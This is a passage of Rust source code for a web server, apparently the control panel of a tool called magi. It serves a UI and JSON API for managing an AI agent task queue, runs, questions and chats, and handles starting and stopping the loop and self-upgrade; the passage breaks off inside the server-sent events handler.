use std::collections::{HashMap, HashSet};
use std::convert::Infallible;
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use std::path::{Path as FsPath, PathBuf};
use std::pin::Pin;
use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
use std::time::Duration;
use tokio::sync::Notify;
use anyhow::{Context, Result};
use axum::Json;
use axum::Router;
use axum::extract::rejection::JsonRejection;
use axum::extract::{Path, Query, State};
use axum::http::{HeaderValue, StatusCode, header};
use axum::response::sse::{Event, KeepAlive, Sse};
use axum::response::{IntoResponse, Response};
use axum::routing::{delete, get, post};
use jiff::Timestamp;
use serde::{Deserialize, Serialize};
use tokio_stream::StreamExt as _;
use tokio_stream::wrappers::ReceiverStream;
use crate::ask::{Answer, Question, Questions};
use crate::chat::{Chat, Chats};
use crate::config::Config;
use crate::md;
use crate::proc::Quiet as _;
use crate::queue::{Queue, Task, title_from};
use crate::run::{RunState, RunStatus};
use crate::{chat, daemon, report, repos, run};
pub const DEFAULT_PORT: u16 = 7878;
const POLL: Duration = Duration::from_secs(1);
const KEEPALIVE: Duration = Duration::from_secs(15);
const LIST_DEFAULT: usize = 50;
const LIST_MAX: usize = 500;
const TITLE_MAX: usize = 72;
const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
font-src data:; base-uri 'none'; form-action 'none'; \
frame-ancestors 'self'";
const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
const APP_CSS: &str = include_str!("../assets/ui/app.css");
const APP_JS: &str = include_str!("../assets/ui/app.js");
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Bind {
Auto,
Addr(IpAddr),
}
impl std::str::FromStr for Bind {
type Err = String;
fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
if s.eq_ignore_ascii_case("auto") {
return Ok(Self::Auto);
}
s.parse()
.map(Self::Addr)
.map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
}
}
impl std::fmt::Display for Bind {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
Self::Auto => f.write_str("auto"),
Self::Addr(addr) => write!(f, "{addr}"),
}
}
}
#[derive(Debug, Clone)]
pub struct Opts {
pub bind: Bind,
pub port: u16,
pub repo: PathBuf,
pub open: bool,
pub merge: Option<String>,
}
impl Default for Opts {
fn default() -> Self {
Self {
bind: Bind::Auto,
port: DEFAULT_PORT,
repo: PathBuf::from("."),
open: false,
merge: None,
}
}
}
#[derive(Debug, Clone)]
pub struct Ui {
queue: Queue,
questions: Questions,
chats: Chats,
runs: PathBuf,
home: PathBuf,
repo: PathBuf,
turns: Arc<Mutex<HashSet<String>>>,
resuming: Arc<Mutex<HashSet<String>>>,
repos_cache: repos::Cache,
merge: Option<String>,
looping: Arc<Mutex<LoopState>>,
launch: Launch,
}
impl Ui {
pub fn new(
queue: Queue,
questions: Questions,
chats: Chats,
runs: PathBuf,
home: PathBuf,
repo: PathBuf,
) -> Self {
Self {
queue,
questions,
chats,
runs,
home,
repo,
turns: Arc::default(),
resuming: Arc::default(),
repos_cache: repos::Cache::new(),
merge: None,
looping: Arc::default(),
launch: launch_daemon,
}
}
pub fn open(repo: PathBuf) -> Self {
Self::new(
Queue::open(),
Questions::open(),
Chats::open(),
run::runs_root(),
run::home(),
repo,
)
}
#[must_use]
pub fn with_merge(mut self, merge: Option<String>) -> Self {
self.merge = merge;
self
}
#[cfg(test)]
#[must_use]
fn with_launch(mut self, launch: Launch) -> Self {
self.launch = launch;
self
}
fn looping(&self) -> Arc<Mutex<LoopState>> {
Arc::clone(&self.looping)
}
fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
if let Some(other) = foreign {
return Err(ApiError::conflict(format!(
"{} is already running the loop, so this one will not start a \
second: two loops on one queue race for the same claims and \
burn the agent quota twice over. Stop it where it was \
started.",
other.who()
)));
}
let mut state = self.lock_loop();
if state.live.as_ref().is_some_and(Live::alive) {
return Err(ApiError::conflict(format!(
"this magi web process (pid {}) is already running the loop",
std::process::id()
)));
}
let stop = daemon::Stop::new();
let opts = daemon::Opts {
repo: self.repo.clone(),
merge: self.merge.clone(),
..daemon::Opts::default()
};
let launch = self.launch;
let looping = Arc::clone(&self.looping);
let handle = tokio::spawn({
let opts = opts.clone();
let stop = stop.clone();
async move {
let failure = match launch(opts, stop).await {
Ok(()) => None,
Err(e) => Some(format!("{e:#}")),
};
match &failure {
Some(why) => tracing::error!("the loop stopped: {why}"),
None => tracing::info!("the loop stopped"),
}
let mut state = lock_or_recover(&looping);
state.live = None;
state.last_error = failure;
state.rev += 1;
}
});
tracing::info!(
"the loop is now running in this process: repo {}, merge {}",
opts.repo.display(),
opts.merge.as_deref().unwrap_or("as the config says")
);
state.live = Some(Live { stop, handle, opts });
state.last_error = None;
state.rev += 1;
Ok(())
}
fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
if let Some(other) = foreign {
return Err(ApiError::conflict(format!(
"the loop belongs to {}, and this process cannot stop it - \
stop it where it was started. A button that silently did \
nothing would be worse than this refusal.",
other.who()
)));
}
let mut state = self.lock_loop();
let Some(live) = state.live.as_ref() else {
return Ok(());
};
if live.stop.stopped() && (!park || live.stop.parking()) {
return Ok(());
}
if park {
live.stop.park();
tracing::info!("the loop was asked to park; the run stops at its next node boundary");
} else {
live.stop.stop();
tracing::info!("the loop was asked to stop; a run in flight is finished first");
}
state.rev += 1;
Ok(())
}
fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
let state = self.lock_loop();
let live = state.live.as_ref().filter(|live| live.alive());
LoopView {
running: live.is_some(),
stopping: live.is_some_and(|live| live.stop.finishing()),
parking: live.is_some_and(|live| live.stop.parking()),
owned: live.is_some(),
repo: live
.map_or(&self.repo, |live| &live.opts.repo)
.display()
.to_string(),
merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
last_error: state.last_error.clone(),
daemon: DaemonView::of(reading),
}
}
fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
lock_or_recover(&self.looping)
}
fn begin_turn(&self, id: &str) -> ApiResult<TurnGuard> {
let mut live = self
.turns
.lock()
.map_err(|_| ApiError::internal("the chat turn lock was poisoned"))?;
if !live.insert(id.to_owned()) {
return Err(ApiError::conflict(format!(
"chat {id} is already taking a turn"
)));
}
Ok(TurnGuard {
chat: id.to_owned(),
turns: Arc::clone(&self.turns),
})
}
fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
let parking = {
let mut state = self.lock_loop();
let Some(live) = state.live.as_ref() else {
return Ok(None);
};
let busy = live.stop.busy_now();
live.stop.park();
state.rev += 1;
busy
};
Ok(if parking {
daemon::current_work(&self.home, jiff::Timestamp::now()).map(|c| c.run)
} else {
None
})
}
fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
let mut live = self
.resuming
.lock()
.map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
if !live.insert(id.to_owned()) {
return Err(ApiError::conflict(format!(
"run {id} is already being resumed"
)));
}
Ok(ResumeGuard {
run: id.to_owned(),
resuming: Arc::clone(&self.resuming),
})
}
pub fn router(self) -> Router {
Router::new()
.route("/", get(index))
.route("/app.css", get(app_css))
.route("/app.js", get(app_js))
.route("/api/health", get(health))
.route("/api/loop", get(loop_get).post(loop_post))
.route("/api/upgrade", post(upgrade_post))
.route("/api/runs", get(runs_list))
.route("/api/runs/{id}", get(run_detail).delete(run_delete))
.route("/api/runs/{id}/report", get(run_report))
.route("/api/runs/{id}/fold", post(run_fold))
.route("/api/runs/{id}/resume", post(run_resume))
.route("/api/queue", get(queue_list))
.route("/api/queue/{id}", delete(queue_delete))
.route("/api/repos", get(repos_list))
.route("/api/queue/{id}/hold", post(queue_hold))
.route("/api/queue/{id}/release", post(queue_release))
.route("/api/questions", get(questions_list))
.route("/api/questions/{id}/answer", post(question_answer))
.route("/api/questions/{id}/panel", get(question_panel))
.route("/api/questions/{id}/panel/index.html", get(question_panel))
.route("/api/questions/{id}/panel/{name}", get(question_asset))
.route("/api/questions/{id}/asset/{name}", get(question_asset))
.route("/api/chats", get(chats_list).post(chat_post))
.route("/api/chats/{id}", get(chat_detail))
.route("/api/chats/{id}/say", post(chat_say))
.route("/api/chats/{id}/file", post(chat_file))
.route("/api/events", get(events))
.with_state(Arc::new(self))
}
}
#[derive(Debug)]
struct TurnGuard {
chat: String,
turns: Arc<Mutex<HashSet<String>>>,
}
impl Drop for TurnGuard {
fn drop(&mut self) {
if let Ok(mut live) = self.turns.lock() {
live.remove(&self.chat);
}
}
}
struct ResumeGuard {
run: String,
resuming: Arc<Mutex<HashSet<String>>>,
}
impl Drop for ResumeGuard {
fn drop(&mut self) {
if let Ok(mut live) = self.resuming.lock() {
live.remove(&self.run);
}
}
}
async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
const WINDOW: Duration = Duration::from_secs(10);
const GAP: Duration = Duration::from_millis(250);
let deadline = std::time::Instant::now() + WINDOW;
let mut said = false;
loop {
match tokio::net::TcpListener::bind(socket).await {
Ok(listener) => return Ok(listener),
Err(e)
if e.kind() == std::io::ErrorKind::AddrInUse
&& std::time::Instant::now() < deadline =>
{
if !said {
said = true;
tracing::info!(
"{socket} is still held - waiting up to {}s for it, \
which is what a restart looks like from here",
WINDOW.as_secs()
);
}
tokio::time::sleep(GAP).await;
}
Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
}
}
}
static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
fn spawn_successor() -> Result<()> {
let exe = std::env::current_exe().context("find this binary")?;
let args: Vec<String> = std::env::args().skip(1).collect();
tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
let mut cmd = std::process::Command::new(&exe);
cmd.args(&args)
.stdin(std::process::Stdio::null())
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::null());
#[cfg(windows)]
{
use std::os::windows::process::CommandExt as _;
cmd.creation_flags(0x0000_0008 | 0x0000_0200);
}
cmd.spawn().context("start the successor")?;
Ok(())
}
pub async fn serve(opts: Opts) -> Result<()> {
let (addr, warning) = resolve_bind(&opts.bind);
if let Some(warning) = warning {
tracing::warn!("{warning}");
}
report::set_color(false);
let ui = Ui::open(opts.repo).with_merge(opts.merge);
let looping = ui.looping();
let socket = SocketAddr::new(addr, opts.port);
let listener = bind_waiting(socket).await?;
let url = format!("http://{addr}:{}", opts.port);
tracing::info!(
"magi web UI on {url} - there is no authentication, so anyone who can \
reach this address can file and hold tasks: the tailnet is the \
security boundary"
);
tracing::info!(
"the queue loop is not running yet - start it from the UI, which is \
the whole reason this process can: nothing in the queue moves until \
something is running the loop"
);
if opts.open {
println!("{url}");
}
let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
let interrupted = async {
if tokio::signal::ctrl_c().await.is_err() {
std::future::pending::<()>().await;
}
};
let handover = HANDOVER.notified();
tokio::select! {
joined = &mut served => match joined {
Ok(outcome) => outcome.context("serve the web UI"),
Err(e) => Err(e).context("the task serving the web UI ended"),
},
() = interrupted => {
tracing::info!("shutting down the web UI");
finish_loop(&looping).await;
Ok(())
}
() = handover => {
tracing::info!("upgraded - handing this address to the successor");
hand_over(&looping, served, spawn_successor).await
}
}
}
async fn hand_over(
looping: &Mutex<LoopState>,
served: tokio::task::JoinHandle<std::io::Result<()>>,
successor: impl FnOnce() -> Result<()>,
) -> Result<()> {
finish_loop(looping).await;
served.abort();
let _ = served.await;
successor()
}
async fn finish_loop(state: &Mutex<LoopState>) {
let live = lock_or_recover(state).live.take();
let Some(live) = live else { return };
live.stop.stop();
lock_or_recover(state).rev += 1;
tracing::info!("waiting for the loop to finish the run in flight");
let _ = live.handle.await;
}
pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
match bind {
Bind::Addr(addr) => (*addr, None),
Bind::Auto => match tailscale_ip() {
Ok(ip) => (IpAddr::V4(ip), None),
Err(why) => (
IpAddr::V4(Ipv4Addr::LOCALHOST),
Some(format!(
"--bind auto fell back to 127.0.0.1: {why}. The UI is \
local-only and a phone cannot reach it; start Tailscale \
or pass --bind <addr>"
)),
),
},
}
}
fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
let out = std::process::Command::new("tailscale")
.args(["ip", "-4"])
.quiet()
.output()
.map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
if !out.status.success() {
let why = String::from_utf8_lossy(&out.stderr);
let why = why.trim();
return Err(format!(
"`tailscale ip -4` failed ({}){}",
out.status,
if why.is_empty() {
String::new()
} else {
format!(": {why}")
}
));
}
String::from_utf8_lossy(&out.stdout)
.lines()
.filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
.find(is_tailnet)
.ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
}
fn is_tailnet(ip: &Ipv4Addr) -> bool {
let o = ip.octets();
o[0] == 100 && (64..=127).contains(&o[1])
}
type ApiResult<T> = std::result::Result<T, ApiError>;
#[derive(Debug)]
struct ApiError {
status: StatusCode,
message: String,
problems: Vec<String>,
}
impl ApiError {
fn bad_request(message: impl Into<String>) -> Self {
Self {
status: StatusCode::BAD_REQUEST,
message: message.into(),
problems: Vec::new(),
}
}
fn bad_request_with(message: impl Into<String>, problems: Vec<String>) -> Self {
Self {
problems,
..Self::bad_request(message)
}
}
fn not_found(message: impl Into<String>) -> Self {
Self {
status: StatusCode::NOT_FOUND,
message: message.into(),
problems: Vec::new(),
}
}
fn with_status(mut self, status: StatusCode) -> Self {
self.status = status;
self
}
fn bad_request_from(e: anyhow::Error) -> Self {
Self::bad_request(format!("{e:#}"))
}
fn conflict(message: impl Into<String>) -> Self {
Self {
status: StatusCode::CONFLICT,
message: message.into(),
problems: Vec::new(),
}
}
fn internal(message: impl Into<String>) -> Self {
Self {
status: StatusCode::INTERNAL_SERVER_ERROR,
message: message.into(),
problems: Vec::new(),
}
}
}
impl From<anyhow::Error> for ApiError {
fn from(e: anyhow::Error) -> Self {
Self::internal(format!("{e:#}"))
}
}
impl IntoResponse for ApiError {
fn into_response(self) -> Response {
let mut body = serde_json::json!({ "error": self.message });
if !self.problems.is_empty() {
if let Some(map) = body.as_object_mut() {
map.insert("problems".to_owned(), serde_json::json!(self.problems));
}
}
(self.status, Json(body)).into_response()
}
}
async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
where
T: Send + 'static,
{
match tokio::task::spawn_blocking(job).await {
Ok(result) => result,
Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
}
}
const ASSET_CACHE: &str = "no-cache, must-revalidate";
fn asset_etag() -> &'static str {
static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
format!(
"\"{}-{}\"",
env!("CARGO_PKG_VERSION"),
INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
)
});
&TAG
}
fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
[
(header::CONTENT_TYPE, mime),
(header::CACHE_CONTROL, ASSET_CACHE),
(header::ETAG, asset_etag()),
]
}
fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
let tag = asset_etag();
let known = headers
.get(header::IF_NONE_MATCH)
.and_then(|v| v.to_str().ok())
.is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
if known {
return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
}
(asset_headers(mime), body).into_response()
}
async fn index(headers: header::HeaderMap) -> Response {
asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
}
async fn app_css(headers: header::HeaderMap) -> Response {
asset(&headers, "text/css; charset=utf-8", APP_CSS)
}
async fn app_js(headers: header::HeaderMap) -> Response {
asset(&headers, "text/javascript; charset=utf-8", APP_JS)
}
#[derive(Debug, Serialize)]
struct HealthView {
version: &'static str,
home: String,
queue_rev: u64,
runs_rev: u64,
questions_rev: u64,
chats_rev: u64,
loop_rev: u64,
runs_unreadable: usize,
questions_open: usize,
chats_open: usize,
daemon: DaemonView,
#[serde(rename = "loop")]
looping: LoopView,
}
#[derive(Debug, Serialize)]
struct DaemonView {
running: bool,
idle: Option<bool>,
pid: Option<u32>,
current: Option<daemon::Current>,
completed: Option<u64>,
stale_for_secs: Option<i64>,
}
impl DaemonView {
fn of(status: Option<daemon::Reading>) -> Self {
let Some(status) = status else {
return Self {
running: false,
idle: None,
pid: None,
current: None,
completed: None,
stale_for_secs: None,
};
};
let now = Timestamp::now();
let age = status.age_secs(now);
Self {
running: status.running(now),
idle: Some(status.idle),
pid: status.pid,
current: status.current,
completed: Some(status.completed),
stale_for_secs: age,
}
}
}
async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
blocking(move || {
let reading = daemon::read_status(&ui.home);
let loop_rev = ui.lock_loop().rev;
Ok(Json(HealthView {
version: env!("CARGO_PKG_VERSION"),
home: ui.home.display().to_string(),
queue_rev: ui.queue.revision(),
runs_rev: runs_revision(&ui.runs),
questions_rev: ui.questions.revision(),
chats_rev: ui.chats.revision(),
loop_rev,
runs_unreadable: runs_unreadable(&ui.runs),
questions_open: ui.questions.count_open(),
chats_open: ui.chats.count_open(),
daemon: DaemonView::of(reading.clone()),
looping: ui.loop_view(reading),
}))
})
.await
}
#[derive(Debug, Serialize)]
struct LoopView {
running: bool,
stopping: bool,
parking: bool,
owned: bool,
repo: String,
merge: Option<String>,
last_error: Option<String>,
daemon: DaemonView,
}
#[derive(Debug, Clone, Copy)]
struct Foreign {
pid: Option<u32>,
}
impl Foreign {
fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
let reading = reading?;
if !reading.running(Timestamp::now()) {
return None;
}
match reading.pid {
Some(pid) if pid == std::process::id() => None,
pid => Some(Self { pid }),
}
}
fn who(&self) -> String {
match self.pid {
Some(pid) => format!("another magi process (pid {pid})"),
None => "another magi process".to_owned(),
}
}
}
type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
fn launch_daemon(
opts: daemon::Opts,
stop: daemon::Stop,
) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
Box::pin(daemon::serve_until(opts, stop))
}
#[derive(Debug, Default)]
struct LoopState {
live: Option<Live>,
rev: u64,
last_error: Option<String>,
}
#[derive(Debug)]
struct Live {
stop: daemon::Stop,
handle: tokio::task::JoinHandle<()>,
opts: daemon::Opts,
}
impl Live {
fn alive(&self) -> bool {
!self.handle.is_finished()
}
}
fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
state.lock().unwrap_or_else(PoisonError::into_inner)
}
async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
blocking(move || {
let reading = daemon::read_status(&ui.home);
Ok(Json(ui.loop_view(reading)))
})
.await
}
#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct LoopCommand {
running: bool,
#[serde(default)]
park: bool,
}
async fn loop_post(
State(ui): State<Arc<Ui>>,
body: std::result::Result<Json<LoopCommand>, JsonRejection>,
) -> ApiResult<Json<LoopView>> {
let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
blocking(move || {
let reading = daemon::read_status(&ui.home);
let foreign = Foreign::of(reading.as_ref());
if body.running {
ui.start_loop(foreign)?;
} else {
ui.stop_loop(foreign, body.park)?;
}
Ok(Json(ui.loop_view(reading)))
})
.await
}
#[derive(Debug, Serialize)]
struct UpgradeView {
from: String,
to: Option<String>,
parked: Option<String>,
detail: String,
}
async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
let reading = daemon::read_status(&ui.home);
if let Some(other) = Foreign::of(reading.as_ref()) {
return Err(ApiError::conflict(format!(
"the loop belongs to {}, so replacing this binary would leave \
that process running an old one against the same queue. Upgrade \
where it was started.",
other.who()
)));
}
let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
let latest = match crate::updater::Checker::new(&cfg.update) {
Some(checker) => checker
.newer_release()
.await
.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
None => None,
};
let Some(latest) = latest else {
return Ok((
StatusCode::OK,
Json(UpgradeView {
from: env!("CARGO_PKG_VERSION").to_owned(),
to: None,
parked: None,
detail: "Already on the newest release. Nothing was parked \
and nothing restarted."
.to_owned(),
}),
));
};
let parked = ui.park_for_upgrade()?;
let detail = match &parked {
Some(run) => format!(
"Run {} is parking at its next step, which can take as long as \
the step it is on - up to an hour for an implement wave. The \
deck replaces itself once it parks, comes back, and the loop \
carries that run on from where it stopped. Nothing is lost if \
you close this.",
crate::run::short_of(run)
),
None => "The deck replaces itself and comes back. Nothing was in \
flight to park."
.to_owned(),
};
tokio::spawn(async move {
if let Err(e) = upgrade_and_restart().await {
tracing::error!("the upgrade did not complete: {e:#}");
}
});
Ok((
StatusCode::ACCEPTED,
Json(UpgradeView {
from: env!("CARGO_PKG_VERSION").to_owned(),
to: Some(latest.tag_name.clone()),
parked,
detail,
}),
))
}
async fn upgrade_and_restart() -> Result<()> {
crate::updater::run_self_update(true, false, true).await?;
tracing::info!("binary replaced - asking the server to hand over");
HANDOVER.notify_one();
Ok(())
}
#[derive(Debug, Serialize)]
struct RunSummary {
id: String,
short: String,
status: String,
done: bool,
instruction: String,
title: String,
repo: String,
repo_name: String,
created_at: String,
updated_at: String,
candidates: usize,
viable: usize,
judges: usize,
winner: Option<char>,
reviews: usize,
quota_losses: usize,
event: Option<String>,
superseded_by: Option<String>,
waiting: bool,
pr: Option<crate::run::PrRecord>,
}
impl RunSummary {
fn of(state: &RunState, waiting: bool) -> Self {
Self {
id: state.id.clone(),
short: state.short().to_owned(),
status: status_word(state.status),
done: state.status.done(),
instruction: state.instruction.clone(),
title: title_from(&state.instruction, TITLE_MAX),
repo: state.repo.display().to_string(),
repo_name: state
.repo
.file_name()
.map(|n| n.to_string_lossy().into_owned())
.unwrap_or_default(),
created_at: state.created_at.to_string(),
updated_at: state.updated_at.to_string(),
candidates: state.candidates.len(),
viable: state.viable().len(),
judges: state.config.graph.judges,
winner: state.winner().map(|c| c.label),
reviews: state.reviews.len(),
quota_losses: state.quota.len(),
event: state.events.last().map(|e| e.message.clone()),
waiting,
superseded_by: None,
pr: state.pr.clone(),
}
}
}
fn status_word(status: RunStatus) -> String {
status.as_str().to_owned()
}
#[derive(Debug, Deserialize)]
struct ListQuery {
#[serde(default)]
limit: Option<usize>,
}
async fn runs_list(
State(ui): State<Arc<Ui>>,
Query(q): Query<ListQuery>,
) -> ApiResult<Json<Vec<RunSummary>>> {
let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
blocking(move || {
let superseded = superseded_runs(&ui.queue);
let summaries = run_ids(&ui.runs)
.into_iter()
.filter_map(|id| read_run(&ui.runs, &id).ok())
.take(limit)
.map(|state| {
let waiting = !ui.questions.open_for(&state.id).is_empty();
let by = superseded.get(&state.id).cloned();
let mut row = RunSummary::of(&state, waiting);
row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
row
})
.collect();
Ok(Json(summaries))
})
.await
}
fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
let mut by = HashMap::new();
for task in queue.list() {
for pair in task.runs.windows(2) {
if let [earlier, later] = pair {
by.insert(earlier.clone(), later.clone());
}
}
}
by
}
#[derive(Debug, Serialize)]
struct RunDetailView {
#[serde(flatten)]
state: RunState,
instruction_md: Vec<md::Node>,
}
impl From<RunState> for RunDetailView {
fn from(state: RunState) -> Self {
Self {
instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
state,
}
}
}
async fn run_detail(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
) -> ApiResult<Json<RunDetailView>> {
blocking(move || {
let id = resolve_run(&ui.runs, &id)?;
Ok(Json(RunDetailView::from(read_run(&ui.runs, &id)?)))
})
.await
}
async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
blocking(move || {
let id = resolve_run(&ui.runs, &id)?;
let state = read_run(&ui.runs, &id)?;
let in_flight = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
state
.ensure_can_delete(in_flight)
.map_err(|e| ApiError::conflict(format!("{e:#}")))?;
let dir = ui.runs.join(&id);
std::fs::remove_dir_all(&dir)
.with_context(|| format!("remove run directory {}", dir.display()))?;
ui.questions.abandon_for_run(
&id,
&format!("run {id} was deleted, so nothing is waiting for this answer"),
)?;
Ok(StatusCode::NO_CONTENT)
})
.await
}
async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
let (id, mut state) = {
let ui = Arc::clone(&ui);
blocking(move || {
let id = resolve_run(&ui.runs, &id)?;
let state = read_run(&ui.runs, &id)?;
if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
return Err(ApiError::conflict(format!(
"run {} is being worked on by a live daemon right now",
state.short()
)));
}
Ok((id, state))
})
.await?
};
let removed = crate::graph::fold_run(&mut state, true)
.await
.map_err(|e| ApiError::internal(format!("{e:#}")))?;
Ok(Json(FoldView {
run: id,
removed_count: removed.len(),
removed,
}))
}
#[derive(Debug, Serialize)]
struct FoldView {
run: String,
removed: Vec<String>,
removed_count: usize,
}
async fn run_resume(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
) -> ApiResult<(StatusCode, Json<RunSummary>)> {
let (id, state) = {
let ui = Arc::clone(&ui);
blocking(move || {
let id = resolve_run(&ui.runs, &id)?;
let state = read_run(&ui.runs, &id)?;
Ok((id, state))
})
.await?
};
if !state.status.resumable() {
return Err(ApiError::conflict(format!(
"run {} is `{}`, and only a stalled or blocked run can be resumed",
state.short(),
status_word(state.status)
)));
}
if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now()) {
return Err(ApiError::conflict(format!(
"the loop is running run {} right now; magi runs one competition at \
a time so the agent quota is not spent twice over. Stop the loop \
first.",
crate::run::short_of(&work.run)
)));
}
let _resume = ui.begin_resume(&id)?;
let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
let run = id.clone();
tokio::spawn(async move {
let _resume = _resume;
match crate::graph::Runner::resume(&run) {
Ok(mut runner) => {
if let Err(e) = runner.execute().await {
tracing::warn!("resume of run {run} stopped: {e:#}");
}
}
Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
}
});
Ok((StatusCode::ACCEPTED, Json(queued)))
}
async fn run_report(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
) -> ApiResult<impl IntoResponse> {
let text = blocking(move || {
let id = resolve_run(&ui.runs, &id)?;
Ok(report::run(&read_run(&ui.runs, &id)?))
})
.await?;
Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
}
#[derive(Debug, Serialize)]
struct TaskView {
#[serde(flatten)]
task: Task,
source_label: String,
status_str: &'static str,
instruction_md: Vec<md::Node>,
}
impl From<Task> for TaskView {
fn from(task: Task) -> Self {
Self {
source_label: task.source.label(),
status_str: task.status.as_str(),
instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
task,
}
}
}
#[derive(Debug, Default, Deserialize)]
#[serde(default)]
struct ReposQuery {
refresh: u8,
}
async fn repos_list(
State(ui): State<Arc<Ui>>,
Query(q): Query<ReposQuery>,
) -> ApiResult<Json<Vec<repos::Repo>>> {
let refresh = q.refresh != 0;
blocking(move || {
let (cfg, _) = Config::discover(&ui.repo, None)?;
Ok(Json(ui.repos_cache.list(
&cfg.repos.roots,
Duration::from_secs(cfg.repos.scan_ttl),
refresh,
)))
})
.await
}
async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
blocking(move || {
Ok(Json(
ui.queue.list().into_iter().map(TaskView::from).collect(),
))
})
.await
}
async fn queue_hold(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
) -> ApiResult<Json<TaskView>> {
mutate(ui, id, Task::hold).await
}
async fn queue_release(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
) -> ApiResult<Json<TaskView>> {
mutate(ui, id, Task::release).await
}
async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
blocking(move || {
let id = resolve_task(&ui.queue, &id)?;
let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
ui.queue
.remove(&id, in_flight)
.map_err(|e| ApiError::conflict(format!("{e:#}")))?;
Ok(StatusCode::NO_CONTENT)
})
.await
}
async fn mutate(ui: Arc<Ui>, id: String, change: fn(&mut Task)) -> ApiResult<Json<TaskView>> {
blocking(move || {
let id = resolve_task(&ui.queue, &id)?;
let _claim = ui.queue.claim(&id).map_err(|e| {
ApiError::conflict(format!(
"{e:#} - a daemon is running this task, so it cannot be \
changed from here yet"
))
})?;
let mut task = ui.queue.get(&id)?;
change(&mut task);
ui.queue.put(&mut task)?;
Ok(Json(TaskView::from(task)))
})
.await
}
async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
tokio::spawn(async move {
let mut ticker = tokio::time::interval(POLL);
let mut last: Option<(u64, u64, u64, u64, u64)> = None;
loop {
ticker.tick().await;
let state = Arc::clone(&ui);
let revisions = tokio::task::spawn_blocking(move || {
(
state.queue.revision(),
runs_revision(&state.runs),
state.questions.revision(),
state.chats.revision(),
state.lock_loop().rev,
)
})
.await;
let Ok(revisions) = revisions else { break };
if last == Some(revisions) {
continue;
}
last = Some(revisions);
let payload = serde_json::json!({
"queue_rev": revisions.0,
"runs_rev": revisions.1,
"questions_rev": revisions.2,
"chats_rev": revisions.3,
"loop_rev": revisions.4,
});
